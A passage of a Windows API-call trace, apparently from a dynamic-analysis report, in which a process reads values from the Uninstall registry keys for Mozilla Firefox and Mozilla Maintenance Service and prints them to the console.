_memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0149.136] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="0x%x", _ArgList=0x29f690 | out: _Buffer="0x1") returned 3 [0149.136] _fileno (_File=0x7fefd702ab0) returned 1 [0149.136] _errno () returned 0x204bb0 [0149.136] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.136] _errno () returned 0x204bb0 [0149.136] GetFileType (hFile=0x50) returned 0x1 [0149.136] lstrlenW (lpString="0x1") returned 3 [0149.136] GetConsoleOutputCP () returned 0x1b5 [0149.136] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x1", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0149.136] GetConsoleOutputCP () returned 0x1b5 [0149.136] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x1", cchWideChar=3, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0x1", lpUsedDefaultChar=0x0) returned 3 [0149.136] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 3 [0149.136] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.136] __iob_func () returned 0x7fefd702a80 [0149.136] _fileno (_File=0x7fefd702ab0) returned 1 [0149.136] _errno () returned 0x204bb0 [0149.136] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.136] _errno () returned 0x204bb0 [0149.136] GetFileType (hFile=0x50) returned 0x1 [0149.136] lstrlenW (lpString="\n") returned 1 [0149.136] GetConsoleOutputCP () returned 0x1b5 [0149.136] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0149.137] GetConsoleOutputCP () returned 0x1b5 [0149.137] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0149.137] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0149.137] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.137] GetProcessHeap () returned 0x3c0000 [0149.137] GetProcessHeap () returned 0x3c0000 [0149.137] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0149.137] GetProcessHeap () returned 0x3c0000 [0149.137] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0149.137] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0149.137] RegEnumValueW (in: hKey=0x5c, dwIndex=0xb, lpValueName=0x3d5c00, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="EstimatedSize", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0149.137] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="EstimatedSize", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x4) returned 0x0 [0149.137] GetProcessHeap () returned 0x3c0000 [0149.137] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x6) returned 0x3dee90 [0149.137] GetProcessHeap () returned 0x3c0000 [0149.137] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0149.137] GetProcessHeap () returned 0x3c0000 [0149.137] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0149.137] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="EstimatedSize", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3dee90, pcbData=0x29f780*=0x4 | out: pdwType=0x29f700*=0x4, pvData=0x3dee90*=0xc384, pcbData=0x29f780*=0x4) returned 0x0 [0149.137] __iob_func () returned 0x7fefd702a80 [0149.137] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0149.137] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0149.137] _fileno (_File=0x7fefd702ab0) returned 1 [0149.137] _errno () returned 0x204bb0 [0149.137] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.137] _errno () returned 0x204bb0 [0149.137] GetFileType (hFile=0x50) returned 0x1 [0149.137] lstrlenW (lpString=" ") returned 4 [0149.137] GetConsoleOutputCP () returned 0x1b5 [0149.138] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.138] GetConsoleOutputCP () returned 0x1b5 [0149.138] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.138] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.138] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.138] lstrlenW (lpString="EstimatedSize") returned 13 [0149.138] __iob_func () returned 0x7fefd702a80 [0149.138] _fileno (_File=0x7fefd702ab0) returned 1 [0149.138] _errno () returned 0x204bb0 [0149.138] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.138] _errno () returned 0x204bb0 [0149.138] GetFileType (hFile=0x50) returned 0x1 [0149.138] lstrlenW (lpString="EstimatedSize") returned 13 [0149.138] GetConsoleOutputCP () returned 0x1b5 [0149.138] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="EstimatedSize", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0149.138] GetConsoleOutputCP () returned 0x1b5 [0149.138] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="EstimatedSize", cchWideChar=13, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="EstimatedSize", lpUsedDefaultChar=0x0) returned 13 [0149.138] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 13 [0149.138] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.138] __iob_func () returned 0x7fefd702a80 [0149.139] _fileno (_File=0x7fefd702ab0) returned 1 [0149.139] _errno () returned 0x204bb0 [0149.139] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.139] _errno () returned 0x204bb0 [0149.139] GetFileType (hFile=0x50) returned 0x1 [0149.139] lstrlenW (lpString=" ") returned 4 [0149.139] GetConsoleOutputCP () returned 0x1b5 [0149.139] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.139] GetConsoleOutputCP () returned 0x1b5 [0149.139] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.139] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.139] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.139] __iob_func () returned 0x7fefd702a80 [0149.139] _fileno (_File=0x7fefd702ab0) returned 1 [0149.139] _errno () returned 0x204bb0 [0149.139] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.139] _errno () returned 0x204bb0 [0149.139] GetFileType (hFile=0x50) returned 0x1 [0149.139] lstrlenW (lpString="REG_DWORD") returned 9 [0149.139] GetConsoleOutputCP () returned 0x1b5 [0149.139] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0149.139] GetConsoleOutputCP () returned 0x1b5 [0149.139] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_DWORD", lpUsedDefaultChar=0x0) returned 9 [0149.140] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0149.140] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.140] __iob_func () returned 0x7fefd702a80 [0149.140] _fileno (_File=0x7fefd702ab0) returned 1 [0149.140] _errno () returned 0x204bb0 [0149.140] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.140] _errno () returned 0x204bb0 [0149.140] GetFileType (hFile=0x50) returned 0x1 [0149.140] lstrlenW (lpString=" ") returned 4 [0149.140] GetConsoleOutputCP () returned 0x1b5 [0149.140] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.140] GetConsoleOutputCP () returned 0x1b5 [0149.140] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.140] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.140] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.140] __iob_func () returned 0x7fefd702a80 [0149.140] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0149.140] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="0x%x", _ArgList=0x29f690 | out: _Buffer="0xc384") returned 6 [0149.140] _fileno (_File=0x7fefd702ab0) returned 1 [0149.140] _errno () returned 0x204bb0 [0149.140] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.140] _errno () returned 0x204bb0 [0149.140] GetFileType (hFile=0x50) returned 0x1 [0149.140] lstrlenW (lpString="0xc384") returned 6 [0149.140] GetConsoleOutputCP () returned 0x1b5 [0149.141] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0xc384", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0149.141] GetConsoleOutputCP () returned 0x1b5 [0149.141] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0xc384", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0xc384", lpUsedDefaultChar=0x0) returned 6 [0149.141] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0149.141] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.141] __iob_func () returned 0x7fefd702a80 [0149.141] _fileno (_File=0x7fefd702ab0) returned 1 [0149.141] _errno () returned 0x204bb0 [0149.141] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.141] _errno () returned 0x204bb0 [0149.141] GetFileType (hFile=0x50) returned 0x1 [0149.141] lstrlenW (lpString="\n") returned 1 [0149.141] GetConsoleOutputCP () returned 0x1b5 [0149.141] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0149.141] GetConsoleOutputCP () returned 0x1b5 [0149.141] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0149.141] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0149.141] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.141] GetProcessHeap () returned 0x3c0000 [0149.141] GetProcessHeap () returned 0x3c0000 [0149.141] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0149.141] GetProcessHeap () returned 0x3c0000 [0149.141] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0149.141] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0149.142] __iob_func () returned 0x7fefd702a80 [0149.142] _fileno (_File=0x7fefd702ab0) returned 1 [0149.142] _errno () returned 0x204bb0 [0149.142] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.142] _errno () returned 0x204bb0 [0149.142] GetFileType (hFile=0x50) returned 0x1 [0149.142] lstrlenW (lpString="\n") returned 1 [0149.142] GetConsoleOutputCP () returned 0x1b5 [0149.142] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0149.142] GetConsoleOutputCP () returned 0x1b5 [0149.142] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0149.142] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0149.142] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.142] GetProcessHeap () returned 0x3c0000 [0149.142] GetProcessHeap () returned 0x3c0000 [0149.142] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d5c00) returned 1 [0149.142] GetProcessHeap () returned 0x3c0000 [0149.142] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3d5c00) returned 0x20 [0149.142] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d5c00 | out: hHeap=0x3c0000) returned 1 [0149.142] RegQueryInfoKeyW (in: hKey=0x5c, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x29f894, lpcbMaxSubKeyLen=0x29f890, lpcbMaxClassLen=0x0, lpcValues=0x0, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x29f894*=0x0, lpcbMaxSubKeyLen=0x29f890, lpcbMaxClassLen=0x0, lpcValues=0x0, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0149.142] GetProcessHeap () returned 0x3c0000 [0149.142] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x2) returned 0x3dee90 [0149.142] lstrlenW (lpString="HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\Mozilla Firefox 25.0 (x86 en-US)") returned 115 [0149.142] GetProcessHeap () returned 0x3c0000 [0149.142] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0xea) returned 0x3dfa60 [0149.142] GetProcessHeap () returned 0x3c0000 [0149.142] GetProcessHeap () returned 0x3c0000 [0149.142] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0149.142] GetProcessHeap () returned 0x3c0000 [0149.142] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x2 [0149.142] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0149.142] GetProcessHeap () returned 0x3c0000 [0149.143] GetProcessHeap () returned 0x3c0000 [0149.143] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dfa60) returned 1 [0149.143] GetProcessHeap () returned 0x3c0000 [0149.143] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dfa60) returned 0xea [0149.143] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dfa60 | out: hHeap=0x3c0000) returned 1 [0149.143] RegCloseKey (hKey=0x5c) returned 0x0 [0149.143] RegEnumKeyExW (in: hKey=0x58, dwIndex=0xc, lpName=0x3dbc10, lpcchName=0x29f974, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="MozillaMaintenanceService", lpcchName=0x29f974, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0149.143] __iob_func () returned 0x7fefd702a80 [0149.143] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0149.143] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%s\n", _ArgList=0x29f910 | out: _Buffer="HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\MozillaMaintenanceService\n") returned 109 [0149.143] _fileno (_File=0x7fefd702ab0) returned 1 [0149.143] _errno () returned 0x204bb0 [0149.143] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.143] _errno () returned 0x204bb0 [0149.143] GetFileType (hFile=0x50) returned 0x1 [0149.143] lstrlenW (lpString="HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\MozillaMaintenanceService\n") returned 109 [0149.143] GetConsoleOutputCP () returned 0x1b5 [0149.143] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\MozillaMaintenanceService\n", cchWideChar=109, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 109 [0149.143] GetConsoleOutputCP () returned 0x1b5 [0149.144] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\MozillaMaintenanceService\n", cchWideChar=109, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\MozillaMaintenanceService\n", lpUsedDefaultChar=0x0) returned 109 [0149.144] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 109 [0149.144] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.144] RegOpenKeyExW (in: hKey=0x58, lpSubKey="MozillaMaintenanceService", ulOptions=0x0, samDesired=0x20019, phkResult=0x29f978 | out: phkResult=0x29f978*=0x5c) returned 0x0 [0149.144] RegQueryInfoKeyW (in: hKey=0x5c, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x0, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x29f7e0, lpcbMaxValueNameLen=0x29f830, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x0, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x29f7e0*=0x8, lpcbMaxValueNameLen=0x29f830, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0149.144] GetProcessHeap () returned 0x3c0000 [0149.144] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x20) returned 0x3d5c00 [0149.144] RegEnumValueW (in: hKey=0x5c, dwIndex=0x0, lpValueName=0x3d5c00, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0149.144] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="DisplayName", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x3a) returned 0x0 [0149.144] GetProcessHeap () returned 0x3c0000 [0149.144] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x3c) returned 0x3d9d00 [0149.144] GetProcessHeap () returned 0x3c0000 [0149.144] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d9d00) returned 1 [0149.144] GetProcessHeap () returned 0x3c0000 [0149.144] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3d9d00) returned 0x3c [0149.144] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="DisplayName", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3d9d00, pcbData=0x29f780*=0x3a | out: pdwType=0x29f700*=0x1, pvData="Mozilla Maintenance Service", pcbData=0x29f780*=0x38) returned 0x0 [0149.144] __iob_func () returned 0x7fefd702a80 [0149.144] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0149.144] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0149.144] _fileno (_File=0x7fefd702ab0) returned 1 [0149.144] _errno () returned 0x204bb0 [0149.144] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.144] _errno () returned 0x204bb0 [0149.144] GetFileType (hFile=0x50) returned 0x1 [0149.144] lstrlenW (lpString=" ") returned 4 [0149.144] GetConsoleOutputCP () returned 0x1b5 [0149.145] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.145] GetConsoleOutputCP () returned 0x1b5 [0149.145] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.145] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.145] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.145] lstrlenW (lpString="DisplayName") returned 11 [0149.145] __iob_func () returned 0x7fefd702a80 [0149.145] _fileno (_File=0x7fefd702ab0) returned 1 [0149.145] _errno () returned 0x204bb0 [0149.145] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.145] _errno () returned 0x204bb0 [0149.145] GetFileType (hFile=0x50) returned 0x1 [0149.145] lstrlenW (lpString="DisplayName") returned 11 [0149.145] GetConsoleOutputCP () returned 0x1b5 [0149.145] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="DisplayName", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0149.145] GetConsoleOutputCP () returned 0x1b5 [0149.145] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="DisplayName", cchWideChar=11, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayName", lpUsedDefaultChar=0x0) returned 11 [0149.145] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 11 [0149.145] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.146] __iob_func () returned 0x7fefd702a80 [0149.146] _fileno (_File=0x7fefd702ab0) returned 1 [0149.146] _errno () returned 0x204bb0 [0149.146] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.146] _errno () returned 0x204bb0 [0149.146] GetFileType (hFile=0x50) returned 0x1 [0149.146] lstrlenW (lpString=" ") returned 4 [0149.146] GetConsoleOutputCP () returned 0x1b5 [0149.146] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.146] GetConsoleOutputCP () returned 0x1b5 [0149.146] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.146] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.146] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.146] __iob_func () returned 0x7fefd702a80 [0149.146] _fileno (_File=0x7fefd702ab0) returned 1 [0149.146] _errno () returned 0x204bb0 [0149.146] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.146] _errno () returned 0x204bb0 [0149.146] GetFileType (hFile=0x50) returned 0x1 [0149.146] lstrlenW (lpString="REG_SZ") returned 6 [0149.146] GetConsoleOutputCP () returned 0x1b5 [0149.146] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0149.146] GetConsoleOutputCP () returned 0x1b5 [0149.147] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0149.147] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0149.147] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.147] __iob_func () returned 0x7fefd702a80 [0149.147] _fileno (_File=0x7fefd702ab0) returned 1 [0149.147] _errno () returned 0x204bb0 [0149.147] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.147] _errno () returned 0x204bb0 [0149.147] GetFileType (hFile=0x50) returned 0x1 [0149.147] 